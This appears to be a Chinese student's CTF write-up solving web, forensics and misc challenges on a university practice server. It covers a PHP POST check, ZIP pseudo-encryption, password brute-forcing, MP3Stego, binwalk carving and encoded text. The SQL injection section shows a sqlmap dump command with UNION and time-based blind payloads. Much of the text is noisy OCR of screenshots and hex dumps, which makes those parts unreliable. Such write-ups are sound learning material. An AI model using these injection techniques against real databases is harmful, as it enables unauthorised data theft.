1: 第一题手机扫码即可



2: php 代码审计

http://ctf.xmut.edu.cn:8001/web179f32a5142f8d5cec8f56655da24950c/

3: php 代码审计 由于用不了 bp 发送 post 所以百度了一个 postman

```
<?php
include "flag.php";
highlight_file(__FILE__);
if (isset($_POST['xmut'])&&$_POST['xmut']==='happynewyear') {
    echo $flag;
    echo "<!--By:daoyuan-->";
}
else echo "Wrong Answer!";
}> Wrong Answer!
```

	🤌 Postman File Edit View Collection History Help			- 0 X								
-	🕂 New 🍸 Import Runner 📑 🏹	E Builder Team Library 😵 💽 CONNECTING 😡 🖆 🌢										
	Q Filter	http://ctf.xmut.edu.cn • + ••••		No Environment V 💿 🔅								
1	History Collections	POST V http://ctf.xmut.edu.cn:8001/web2b	POST V http://ctf.xmut.edu.cn:8001/web2b5697090c49e996894fc19435b29c2c0/									
	▼ Today	Authorization Headers (1) Body Pre-req	thorization Headers (1) Body Pre-request Script Tests									
	POST http://ctf.xmut.edu.cn:8001/web2b56	• form-data 🔍 x-www-form-urlencoded 🔍 raw										
	P05T http://ctf.xmut.edu.cn:8001/web2b56	Key	Description ••• Bulk Edit									
	97090c49a996894fc19435b29c2c0/	xmut	happynewyear									
Body Cookles Headers (6) Test Results Status: 200 OK Time: 128 ma Size: 1.6												
'a0		Pretty Raw Preview		ū								

5:杂	5:杂项																		
打开 zip 压缩包发现加密所以习惯性拖入 winhex 中查看伪加密																			
4F6	84	21	\mathbf{FC}	21	0E	42	72	10	82	10	D5	55	78	DE	75	75	E3	33	"!ü
508	33	31	D5	AB	FE	BF	FB	7F	0F	8C	CC	7A	AA	AA	AE	AB	FF	97	31Õ
51A	AF	FE	CC	CC	Α5	55	55	56	B3	7F	97	C6	63	F6	6F	55	55	52	-þÌ
52C	FF	87	79	\mathbf{FC}	FE	1E	19	41	41	41	5E	00	<mark>5</mark> 0	4B	01	02	1F	00	ÿ‡y
53E	14	00	09	00	80	00	88	5B	7E	4B	3E	E4	CD	19	Ε9	00	00	00	
550	24	01	00	00	09	00	24	00	00	00	00	00	00	00	20	00	00	00	Ş
562	00	00	00	00	6D	6F	6E	65	79	2E	7A	69	70	0A	00	20	00	00	
.74	00	00	00	01	00	18	00	AC .	88	10	43	9R	69	D3	01	AC.	88	10	
但是	爹 肉/	古发	现个	竹,	提	示又	作ス	大											
33	31	D5	AB	FE	BF	FB	7F	OF	8C	CC	7A	AA	AA	AE	AB	F.			
AF	FE	CC	CC	Α5	55	55	56	B3	7F	97	C6	63	F6	6F	55	5			
FF	FF WinHex										/ 2	10							
14		III ICA													Ър	0			
24															þ	0			
00				With	n this	s eva	luat	ion ve	ersio	n yo	ou ca	nno	t sav	/e	þ	0			
00			1	file	s tha	at ar	e lar	ger tl	han i	200	KB. I	How	ever	, i	c	8			
43		J	/	you	can	cre	ate l	backu	ps o	of su	ch fi	les a	it an	у	1	0:			
00				ti	me f	or fu	uture	e use	with	the	full	versi	ion.		Þ	7:			
00	00 0								0										
00								OK							þ	7			
0A								<u>U</u> K	_						7	01			
D3 01 BB EA BA A6 0D 69 D3 01 63 6D D7 7C E8 68								D											
50	4R	05	06	00	00	00	00	02	00	02	00	BA	00	00	00	२ !S			

所以想到还可以用 010editer 修改。。。

查找后发现有2个疑似伪加密的文件所以全部修改为00

4F0h	: 10	84	29	04	2A	10	84	21	FC	21	0E	42	72	10	82	10	.").*."!ü!.
500h	: D5	55	78	DE	75	75	E3	33	33	31	D5	AB	FE	BF	FB	7F	ÕUxÞuuã331Õ
510h	: 0F	8C	CC	7A	AA	AA	AE	AB	FF	97	AF	FE	CC	CC	A 5	55	.ŒÌzªª⊗«ÿ—
520h	: 55	56	B3	7F	97	C6	63	F6	6F	55	55	52	FF	87	79	FC	UV3ÆcöoUU
530h	: FE	1E	19	41	41	41	5E	00	50	4B	01	02	1F	00	14	00	þAAA^.PK.
540h	: 09	00	08	00	88	5B	7E	4B	ЗE	E4	CD	19	E9	00	00	00	^[~K>äĺ
550h	: 24	01	00	00	09	00	24	00	00	00	00	00	00	00	20	00	\$\$
560h	: 00	00	00	00	00	00	6D	6F	6E	65	79	2E	7A	69	70	A0	money
570h	: 00	20	00	00	00	00	00	01	00	18	00	AC	88	10	43	8B	
580h	: 69	D3	01	AC	88	10	43	8B	69	D3	01	79	0D	D6	7C	E8	iÓ.¬^.C∢iÓ.
590h	: 68	D3	01	50	4B	01	02	1F	00	14	00	09	00	08	00	78	hÓ.PK
5A0h	: A3	7D	4B	ЗE	D8	AD	E8	FD	73	31	00	0C	2C	32	00	0D	£}K>Ø-èýsl.
5B0h	: 00	24	00	00	00	00	00	00	00	20	00	00	00	10	01	00	.s
結果−ZI	PTempl	.ate.	bt														
	名	称						Ű	1			St	art		:	大小	顏色
解压文	(件得	到了	2 ′ í	[、] 文1	'牛												
	名称	t i	^			~	#	1	标题								
	ا	mon	ey.zi	p													
	۲	singl	edo	g.mj	o3												

money.zip 拖入修改后发现 winhex 伪加密所以只能暴力,一开始暴力范围全选,但想到应该不会要这么久所以就只选了数字密码长度 6-8,果然

	0%	td.						清果	-ZIP	Tem
当前口令: 00015398 3月时间: 日今长度 = 8, 总计: 100,000,000, 已处	平t 剩分 理: 15,393)速度: (时间:	16 6s	5, 104, 372 p	o/s			/59 /58 /58	Oh: Oh: Oh:	A:
2017/12/2 22:13:38 - 口令已成功恢复 2017/12/2 22:13:38 - '00015398' 是这	! L 卜文件的-	一个有效	(口令		~	,		/58	Oh:	69
已打开。 2017/12/2 22:13:37 - 开始異力攻击				保存			✔ 确定	È		0
状态窗口		十六进	制口令			30 30 30	31 35 33 39 38	(2	0
□ 〒19 □ 所有可打印字符		这个文	(件的口名	2		0001539	98	(2	F
─ 所有特殊符号(!@)	掩	志 叮 的 - 亚 物 漣	回 唐(日今)	⊕b)		15.736.	772			0
□ 所有小与拉丁又(a - z)	结束	日本	ます。 1分			11,015,3	391			D
 所有大写拉丁文(A - Z) 新有大写拉丁文(A - Z) 	开始			Advanced	l Archive F	assword Re	ecovery 统计信息	<u>.</u>		1
28日 衣授 子典 明义 日初 暴力范围选项	1禾1子 22	LSCM	以川恢复!						×	
1\Downloads\Compressed\misc\money.z		山 <u>天</u> 堂 力								
打开 开始! 得止 基准测 加密的 ZTP/P AP / ACE / AP 1 文件	川式 ナ	†级 ± ★刑□	帮助	天士	退出	-				
) 🤅	>	2							
文件(F) 恢复(R) 帮助(H)		-			-					
					X			1		

解压 money.zip 后得到一个 txt 文件打开后没有什么发现,所以又拖入 winhex 中 发现了摩尔斯电码

🗋 🍯 🔚 🍣] 💐	r	5		5		Ē	6	B 10	0	- A) (4	HE>	1	нех	.	→ ·	-100	⊨ →	3	33	in 📠	ρ
misc.zip pas	swor	d.txt																					
Offset	0	1	2	3	4	5	6	7	8	9	Α	В	С	D	Е	F	10	11			ANSI	ASCI	Ι
00000000	B3	CC	D0	F2	D4	B1	D4	F5	C3	Β4	BF	C9	C4	DC	D3	D0	C5	AE	³ÌĐòĈ	±Ôõ	Ì5`Ã	ÄÜÓÐÅ	8 na
00000012	C5	F3	D3	Dl	A3	AC	C4	E 3	D0	D1	D2	BB	D0	D1	A3	A1	0D	0A	ÅóÓÑ£	⊣Äã	ÐÑÒ»	ÐÑ£i	C1
00000024	CF	EB	D2	AA	C3	DC	C2	EΒ	C2	FO	A3	BF	BE	CD	B 2	BB	B8	E6	ÏëÒªÃ	ÜÂë	5£ĞÂ	∛Ͱ≫,ċ	£
00000036	CB	DF	C4	E3	A3	AC	C0	Β4	B4	F2	CE	D2	B 0	A1	A3	AC	CE	FB	ËßÄã£	.⊣À ′	ſòÎÒ	°į£⊣Îi	û File
00000048	CE	FB	CE	FB	A1	A3	0D	0A	0D	0A	0D	0A	0D	0A	0D	ΔO	0D	A0	ÎûÎû;	£			
0000005A	0D	0A	0D	0A	0D	0A	0D	0A	0D	0A	0D	0A	0D	0A	0D	AO	0D	AO					
0000006C	0D	0A	0D	0A	0D	0A	0D	0A	0D	0A	0D	0A	0D	0A	0D	AO	0D	AO					De
0000007E	0D	A0	0D	0A	0D	0A	0D	0A	0D	0A	0D	0A	0D	0A	0D	AO	0D	A0					Sta
00000090	0D	A0	0D	0A	0D	0A	0D	0A	0D	0A	0D	0A	0D	0A	0D	AO	0D	0A					Un
000000A2	0D	A0	0D	0A	0D	0A	0D	0A	0D	0A	0D	0A	0D	0A	0D	AO	0D	AO					Un
000000B4	0D	0A	0D	0A	0D	0A	0D	0A	0D	ΟA	0D	0A	0D	0A	0D	AO	0D	A0					
000000C6	2D	2E	2E	2E	20	2D	2D	2D	20	2D	2E	2D	2D	20	2E	2D	2D	2D					- Cre
00000D8	2D	20	2E	2D	2D	2D	2D	20	2E	2D	2D	2D	2D	20	2E	2D	2D	2D					-
000000EA	2D	20																	-				Las
																		- 1					

解密后发现得到了 boy1111,还有一个 MP3 文件没用到所以用 MP3stego 来分离 MP3 文件

💽 命令提示符

Wicrosoft Windows [版本 10.0.16299.64] (c) 2017 Wicrosoft Corporation。保留所有权利。

<u>C:\Users\ali</u>en>cd C:\Users\alien\Desktop\MP3Stego

C:\Users\alien\Desktop\MP3Stego>Decode.exe -X -P boy1111 singledog.mp3 MP3StegoEncoder 1.1.17 See README file for copyright info Input file = 'singledog.mp3' output file = 'singledog.mp3.pcm' Will attempt to extract hidden information. Output: singledog.mp3.txt the bit stream file singledog.mp3 is a BINARY file HDR: s=FFF, id=1, 1=3, ep=off, br=9, sf=0, pd=1, pr=0, m=0, js=0, c=0, o=0, e=0 alg.=MPEG-1, layer=III, tot bitrate=128, sfrq=44.1 mode=stereo, sblim=32, jsbd=32, ch=2 [Frame 7866]Avg slots/frame = 417.906; b/smp = 2.90; br = 127.984 kbps Decoding of "singledog.mp3" is finished The decoded PCM output file name is "singledog.mp3.pcm"

C:\Users\alien\Desktop\MP3Stego>

生成了一个 txt 文件 bW9jdGZ7UzFuZ2wzX0QwZ30= base64 解密后即可

6:sql 注入

一开始用 Python 写的 sqlmap 一直连不上数据库,所以又百度找了一个用 c 写的 sqlmap 运行

-u ″?

http://ctf.xmut.edu.cn:8003/web66d840558c5233f94597a0d92f9eecb9c/sql. php?id=2″-D moctf -T flag -C flag - dump运行后直接得到 flag

Type: UNION query Title: MySQL UNION query (NULL) - 3 columns Payload: id=1'LIMIT 1,1 UNION ALL SELECT NULL, CONCAT(0x3a6174
Type: AND/OR time-based blind Title: MySQL > 5.0.11 AND time-based blind Payload: id=1'AND SLEEP(5) AND 'KtZP'='KtZP
[22:25:18] [INFO] the back-end DBMS is MySQL web server operating system: Linux Ubuntu web application technology: Apache 2.4.7, PHP 5.5.9 back-end DBMS: MySQL 5.0 [22:25:18] [INFO] fetching entries of column(s) 'flag' for table 'f [22:25:18] [INFO] analyzing table dump for possible password hashes Database: moctf Table: flag [1 entry]
flag
moctf{sq1_Inj3ct1on_IsFun} ++
[22:25:18] [INFO] table 'moctf.flag' dumped to CSV file 'C:\Users\a MAP~1\Bin\output\ctf.xmut.edu.cn\dump\moctf\flag.csv' [22:25:18] [INFO] fetched data logged to text files under 'C:\Users

7:颜文字解密

打开 word 文档后发现一堆表情就想起了大佬说的颜文字加密,所以百度在线解密即可

还有有个 jpg 文件,拖入 winhex 发现没什么东西所以用上了我的 kali 先 binwalk 一下发现 jpg 里还有个 zip 文件所以 foremost 分离一下得到了 zip 文件

moctf{Bu_yA0_t1_j1a0}

请将要加密或解密的内容复制到以下区域

有个 flag.txt 内容 base64 解密后,拼一下是叫我不要提交。。。。

13:杂项

12:于颜文字差不多但是在线解密一下就可以了,百度 ook 加密解密就可以了

└ ω゚ /=·/ `m´) /· ~ㅗㅗ﹏ㅗ. · · · //*´∇ `*/·['_'];·o=(゚ー゚)·· =_=3;·c=(゚Θ゚)·=(゚ー゚)-(゚ー゚); (゚Д゚)·=(゚ Θ)=· (o^_o)/· (o^_o);(Δ)={ Θ :· '_' ·, ω /· :· ((ω //==3)· +'_')· [Θ]·, ' -' /· :(ω //+· '_')[o^_^o.-(`Θ`)], `Д`/:((`-`==3).+'_')[`-`].;, (`Д`).[`Θ`].=((`ω`/==3).+'_').[c^_^o];(`Д`). ['c'] -= ·((´ Д`)+' ')·[·(´ -`)+(´ -`)-(´ Θ`)·];(´ Д`)·['o'] -= ·((´ Д`)+' ')·[´ Θ`];(´ o`)=(´ Д`)·['c']+(´ Д ¹)·['o']+(¹ ω¹ /·+'_')[¹ Θ¹]+·((¹ ω¹ /==3)·+'_')·[¹ -¹]·+·((¹ Д¹)·+'_')·[(¹ -¹)+(¹ -¹)]+·((¹ -¹)=3)·+'_')· ==3)+'_')·[Θ`];(Д`)·['_']·=(o^_o)·[o`]·[o`];(Σ`)=((- ==3)+'_')·[Θ`]+(Д`)·. Д`/ $+((\ \ \Box^{-})+'_')\cdot[(\ \ -)++(\ \ -)]+((\ \ -)==3)\cdot+'_')\cdot[0^{-}0\cdot-(\ \ \Theta^{-}]+((\ \ -)==3)\cdot+'_')\cdot[\ \ \Theta^{-}]+((\ \ \omega^{-}/++'_')\cdot[\ \ \omega^{-}/++']$ Θ`]; (´-`)+=(´Θ`); (´Д`)[´č`]='\\'; (´Д`). Θ´/=(´Д`+·`-`)[o^ ^o·-(´Θ`)]; (o`-`o)=(´ω) ゛ノ・+'')[c^ ^o];(´Д`)・[´o`]='\''';(´Д`)・['']・(・(´Д`)・['']・(`と`+(´Д`)[´o`]+・(´Д`)[´と`]+(` $\Theta^{-1}(1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1 - 1) + (1 - 1) + (1 - 1) + (1 - 1) + (1 - 1) + (1 - 1)$ (o^_^o))+·(´ Д`)[´ E`]+(´ Θ`)+·(´ -`)+·(o^_^o)+·(´ Д`)[´ E`]+(´ Θ`)+·((o^_^o)·+(o^_^o))+·(` -`)+・(´Д`)(` ヒ`]+(´Θ`)+・(´−`)+・((o^_^o))+(o^_^o))+・(´Д`)(` ヒ`]+(´Θ`)+・((´−`).+.(o^_^o))+・ $(o^{-}o)+(\ \ \Box^{-})+(\ \ \Theta^{-})+(\ \ \Theta^{-})+(\ \ \Theta^{-})+(\ \ \Box^{-})+(\ \ \Box^{-})+(\ \ \Box^{-})+(\ \ \Theta^{-})+(\ \ \Box^{-})+(\ \ \ \Box^{-})+(\ \$ ・)+·(´Д`)[```]+((o^_^o)+(o^_^o))+·(c^_^o)+·(`Д`)[```]+(`Θ`)+·((o^_^o)·+(o^_^o))+·((`-`)· +·([°] Θ^{-}))+·([°] A^{-})[[°] Σ^{-}]+([°] Θ^{-})+·(o^_o)+·(([°] -[°])·+·(o^_o)))+·([°] A^{-})[[°] Σ^{-}]+([°] Θ^{-})+·((o^_o)·-·([°]

root@kal root@kal	1:~# 1:~/D	cd Desktop Wesktop# binwall	k 2.jpg
DECIMAL		HEXADECIMAL	DESCRIPTION
0	nisca a	0x0	JPEG image data, JFIF standard 1.01
30 directo	ry: 8	0x1E	TIFF image data, big-endian, offset of first image
13400		0x3458	Unix path: /www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:des ="http:/</rdf:des 	cript /	ion rdf:about='	"uuid:faf5bdd <mark>5-ba3d-11da</mark> -ad31-d33d75182f1b" xmlns:xmp
115161		0x1C1D9	Zip archive data, at least v2.0 to extract, compre
ssed siz	e: 48	, uncompressed	size: 69, name: flag.txt
115337		0x1C289	End of Zip archive
root@kal Processi foundat * root@kal	i: ~/D ng: 2 =flag i :~/D	esktop# foremos .jpg .txt []]0 esktop#	st 2.jpg -o 2

打开 zip 文件中的 txt 文件得到疑似 askii 码的东西所以对应 askii 码表找一下就可以得到 flag 了

